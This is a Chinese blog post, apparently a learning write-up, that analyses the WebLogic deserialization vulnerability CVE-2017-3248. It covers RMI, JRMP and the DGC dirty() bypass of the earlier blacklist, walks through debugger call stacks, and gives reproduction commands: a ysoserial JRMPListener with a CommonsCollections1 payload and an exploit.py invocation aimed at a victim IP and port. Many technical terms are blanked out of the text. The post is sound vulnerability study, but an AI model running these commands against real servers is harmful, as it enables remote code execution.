web反序列化漏洞原理_CVE-2017-3248——WebLogic反序列化初探_零开始网络安全技巧

web反序列化漏洞原理_CVE-2017-3248——WebLogic反序列化初探_零开始网络安全技巧

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

一、原理(一)概述

前面我们提到, CVE-2015-4852往后有一系列漏洞都是立足于对其补丁的绕过的,CVE-2017-3248也是其中之一。

使用这种黑名单的方式试图过滤掉危险的类的这种修复方式有一定的效果,但也存在被绕过的风险。根据学习,我了解到的绕过的思路有如下几种:一是找到可用且未在黑名单之内的新类(新类要能构造链实现任意代码执行),此时的为新的;二是找到一种类,这种类可以反序列化自身成员变量,此时可以封装旧的;三是找到未在黑名单之内的新反序列化点,此时可以发旧的。CVE-2016-3510和CVE-2016-0638主要是基于第二种思路, CVE-2017-3248 则是基于第三种思路,通过JRMP 协议达到执行任意反序列化 。

如果CVE-2015-4852是这个系列的开篇,后面的漏洞都是它的后续的话,CVE-2017-3248则可以说是基于CVE-2015-4852的绕过,并开启了一个新系列。2017年之后的漏洞多有通过构造JRMP服务器监听进行反向触发的特点。举个不恰当的例子,神探狄仁杰一的第一章“使团惊魂”开启了神探狄仁杰整个系列,神探狄仁杰二的第一章“关河疑影”则是基于“使团惊魂”的后续剧情开启了新的篇章。

说句题外话,结合对调用栈的分析,个人感觉,这一系列漏洞的利用点随着时间顺序正在逐渐用到底层协议方面的内容。

(二)CVE-2017-3248

先讲下需要的知识:

1、RMI

远程方法调用( )。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

宏观上看,RMI远程调用步骤:

1)客户对象调用客户端辅助对象上的方法;

2)客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象;

3)服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象;

4)调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象;

5)服务端辅助对象将结果打包,发送给客户端辅助对象;

6)客户端辅助对象将返回值解包,返回给客户对象;

7)客户对象获得返回值;

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

详细来看,对于来说,他甚至可以不知道有的存在,所有他需要的只是一个stub,对于来说,调用远程方法就是调用Stub的方法,

从我们一个局外人的角度上看,数据是在和之间是横向流动的,但是微观上看整个流程必有网络层面的大量的纵向流动,一个请求先从发出,交给Stub,走过 Layer之后交由,最后到,调用相应方法,然后将结果原路返回,流程如下:

1.监听一个端口,此端口由JVM随机选择(这一点在中可见);

2.对于上的远程对象的位置信息(通信地址和端口)一无所知,只知道向stub发起请求,而stub中包含了这些信息,并封装了底层网络操作;

3.调用Stub上对应的方法;

4.Stub连接到监听的通信端口并提交方法的参数;

5.上执行具体的方法,并将结果原路返回给Stub;

对于来说,远程调用的执行结果是Stub给它的,从看来就好像是Stub在本地执行了这个方法一样。

这一部分的原理有很多大佬讲的很清楚了,不再赘述,只提一点:stub可以先从中获取到中对象的信息,进而对其进行调用。在网络上,调用所需的参数(给、给)和调用的结果(给、给)是以序列化字节流的格式传输的,也就为攻击提供了可能。

RMI依赖于ip与端口,且依赖于Java远程消息交换协议JRMP(Java ),该协议为java定制,要求服务端与客户端都为java编写。

2、JRMP

Java远程消息交换协议(Java ),是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。

(三)原理

1.原理

结合我的调试过程与自己的理解谈谈我对原理的粗浅的认识。

整个过程涉及到的内容跟之前相比已经比较偏底层了,涉及到RMI和DGC的机制,RMI的一些过程在调试过程中会有显现,我想简单讲下和DGC有关的部分,之前没有遇到过。

具体来讲,这里利用RMI,让反序列化这个类,使该类发起一个JRMP连接到恶意服务端上,从而在DGC层造成一个反序列化,因为DGC层的是在反序列化之后进行设置的,所以之前设置的黑名单过滤没有作用,

正常情况下,DGC 通过实现引用计数接口来实现内存管理,当DGC 调用一个远程对象(增加一个引用计数)时,需要调用DGC 的dirty()函数,然后dirty()返回给一个lease(.vmid, .);需要不断调用dirty()函数来更新其对相应对象的引用的;当不再需要这个对象时,需要调用DGC 的clean()函数。

对于DGC 来说,其关键部分是dirty()和clean(),对于DGC 来说,关键函数是(),这又和RMI的内容有关,对于这个漏洞我们只需要知道RMI调用的对象需要即可,不必过多研究。

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

我们知道,攻击过程涉及三方,(这里所指的攻击方仅发送使向JRMP 或者叫JRMP 发起请求)、JRMP (或者叫JRMP )和,使用攻击,通过RMI向DGC (此处为JRMP )发起dirty()请求,但这里返回的不再是一个常规的lease,而是构造好的数据(甚至和前面的几个CVE相比没有什么差别),收到后,进行反序列化,从而触发RCE。

这一系列漏洞同宗同源,都可以看做是一条链的变种,都可以绕过所谓的黑名单,感觉颇有点像黑名单只卡住了整条链上的一个点,所以换个其他的切入点就能绕过。

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

2.工具原理

这里可以分两部分,一是JRMP 的部分,二是的部分,分别对应着中的 和。

(1)

这里遇到了一个离谱的事情,就是在IDEA里只有用JDK8才能成功编译,平常跑.jar的JDK7会有错。

配置如下,

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

先看一下main的源码,

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

下面结合调试看一下具体的流程,

先跟进,

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

跟到,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

可以看到,这里和之前CVE-2015-4852使用的别无二致,都是类型的。

继续跟进,

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

开启了本地监听,接下来的run函数会一直监听。

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

若是接收到请求,先判断请求类型,若为DGC则会将返回出去。

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

可以看到,返回的就是,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

这一部分的功能比较好理解,不再多做解释。

(2)

上一部分是向发起DGC请求的RMI 返回一个恶意对象让其解析,这一部分即是为了使靶机能够向JRMP 发起DGC请求。

这一部分的功能实现在目录下里。

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

这里主要就是从TCP层开始向上构造,封装这个装有的实例,发送,让它向JRMP 发起DGC请求。

二、调试(一)环境搭建

在正式开始前记录在启动或停止中服务时遇到的两个小问题,

删除//tmp/.lok即可

解决方法不难,删除对应目录下的 .lok 即可。

很奇怪,之前没有遇到过类似的问题,不知是不是异常退出导致的。

此处的搭建可以直接使用的环境

docker-compose up -d

(二)复现

搭建好后,访问 ip:7001/

然后启动一个JRMP :

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/aug'

其中,7777是JRMP 监听的端口,’touch /tmp/aug’即为想执行的命令,。

由于我这里是在上开启的,所以这里要在上启动一个JRMP (我怀疑这是一个坑,起初没有注意这个问题,直接在上开启了一个JRMP ,虽然无法ping到,上的JRMP 却能收到连接,但无法复现。后来换成在上启动JRMP ,则可复现成功)。

然后,使用运行,

.py

向目标(ip:7001/)发送数据包:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中, ip和 port是目标的IP和端口,path to 是本地的路径, ip和 port第一步中启动JRMP 的IP地址和端口。是执行的类,可选的值是(针对CVE-2017-3248)或(针对CVE-2017-3248的绕过)。

最后查看相应目录,

可见已成功执行命令。

(三)调试

开启JRMP 后,以exp打之,先是正常的读入字节流进行反序列化(这里很遗憾的一点就是环境对应不到相应的补丁,看不到完全的流程),

中,反向连接所需的host和port先存入te,而后存入了中,接着封装进 里,

再封装进 中,最后用 Proxy. 生成了一个 proxy ,这里和之前区别不大,

exp打过去,会触发的反序列化

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

反序列化时,会调用其父类 的 (),

因为有重写,会越过这一段,

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

在下面调用,

就开始触发。

这里从跟进的向下走,

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

向下,

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

接下来就层层剥开,

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

的read函数中会向发起请求,注册对象,

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

接下来进入(但不知道什么原因这里有的点断不下来),

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

这里面调用了重载的,

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

这个函数里面就有我们最终需要的,

跟进,

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

接下来就是关键部分,

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

这里的this.dgc.dirty是一个关键点,正常情况下它应该返回一个Lease,作为这个远程对象的存活时间的依据,

如下,真实的Lease,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

但是这里远程服务器是恶意的,返回的并不是一个Lease,而是一个构造好的Set,虚假的Lease,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

而这里的触发点并不在黑名单之列,故而不会受影响。

再向下跟就进入了我们熟悉的环节(这是我的一个疑惑点,为什么就进去了),

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

接受指点和查阅资料后,意识到跟进的不够深入,于是重新调试,

接着下面这个场景,重新调试,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

根据之前调用栈的情况,

weblogic反序列化漏洞_web反序列化漏洞原理_反序列化漏洞防护

我们知道应该跟进到的dirty(而非普通的DGC)里(个人认为这算是调试工具的一点点不足,就是无法通过分析代码逻辑确定一个变量的最终类型,对于变量的相关信息主要还是静态分析获得的。但也不能就说这个工具不好,毕竟人也很难做到),

然而尝试了好几种方法也没能断下来,

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

无奈,只好越过它跟进 .()(这里想了点题外话,为什么不能完全依靠静态时的Ctrl+点击跟进.(),而必须要根据动态调试结合调用栈确定是 .()。原因一是要围绕主题,整个CVE的利用都是用到的是而不是;原因二是只有动态调起来才能确定程序的走向),

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

继续跟进,

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

这里的几处判断都比较简单,进入,

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

这里调用了this.in.(),

查看this.in,

反序列化漏洞防护_weblogic反序列化漏洞_web反序列化漏洞原理

可见,正是构造好的字节流,

接着正常进入了的,

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

此时完整的调用栈如下,

readObject:320, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
defaultReadFields:1969, ObjectInputStream (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
defaultReadFields:1969, ObjectInputStream (java.io)
defaultReadObject:478, ObjectInputStream (java.io)
readObject:313, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
defaultReadFields:1969, ObjectInputStream (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
access$1600:153, DGCClient$EndpointEntry (sun.rmi.transport)
run:555, DGCClient$EndpointEntry$RenewCleanThread (sun.rmi.transport)
run:662, Thread (java.lang)

可以看出是起于 的及相关的成员变量,

接下来是熟悉的(),

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

查看此时的调用栈,

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

和CVE-2015-4852的调用栈对比来看(黄圈内为黑名单设的点,红框向上即为的链),

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

从这里我们可以看出这里的反序列化是由DGC请求触发的,没有走原来的线路,所以在原来的那几个反序列化点上设置的限制条件没有任何用处。

下面都很熟悉了,稍作展示,不再赘述。

weblogic反序列化漏洞_反序列化漏洞防护_web反序列化漏洞原理

web反序列化漏洞原理_反序列化漏洞防护_weblogic反序列化漏洞

当这些完成后,退回到() 中,

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

引发异常,

这里便是前面看到的异常。

另外,从 的里抓包,查看其返回给的数据包的情况,

反序列化漏洞防护_web反序列化漏洞原理_weblogic反序列化漏洞

载荷的一小部分,

web反序列化漏洞原理_weblogic反序列化漏洞_反序列化漏洞防护

由此可见,返回给靶机的数据包是序列化后的的攻击链,确实与原来无异,也与上面的this.in一致。

三、收获与启示

调完之后,我意识到最开始的那个比喻虽然不贴合严肃的学习,却跟这几个漏洞的演进过程比较贴切。

这几个漏洞的基础都是最开始CVE-2015-4852的那条链,由于在进行防护时采用的黑名单不严谨(比如只截断一个链上的一个点),对这条链的后续利用可谓是层出不穷。

起初的学习过程中,我认为这个系列的漏洞的黑名单只是个噱头而已,作用不大。然而,在这个漏洞的调试过程中,我感受到:这个黑名单虽然没能完全达到防护的效果,但它一定程度上已经发挥了不小的防护作用。CVE-2015-4852的黑名单添加了CVE-2016-3510和CVE-2016-0638的触发点后,原来的那条链从源头上基本被切断了,很难找到合适的线路去连接的片段了,这已经是一个不小的进步了。这一现状迫使大牛们寻找新的利用链路,在2017年提出了通过构造JRMP 反向触发的方法,算是又开启了一个新的系列。

在CVE-2017-3248的学习过程中,我感受到了比最开始接触CVE-2015-4852时更大的压力,之前虽然学了Java的一些基础知识,但是对于其中的很多内容理解不够到位,这个漏洞涉及到的内容偏底层,对我这样一个Java新手来说难度有些大,我通过自己写demo、深入跟踪调试的方法才慢慢能够理解其部分的内在原理,一定程度上算是走出了自己的舒适区。

另外,这里我有一点体会到了二分法解决问题的思路,这个描述不太准确,大体的意思就是先确定调试过程中的几个少量的关键点,然后以这些点分段,逐段下断仔细研究、调试。

~

网络安全学习,我们一起交流

~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值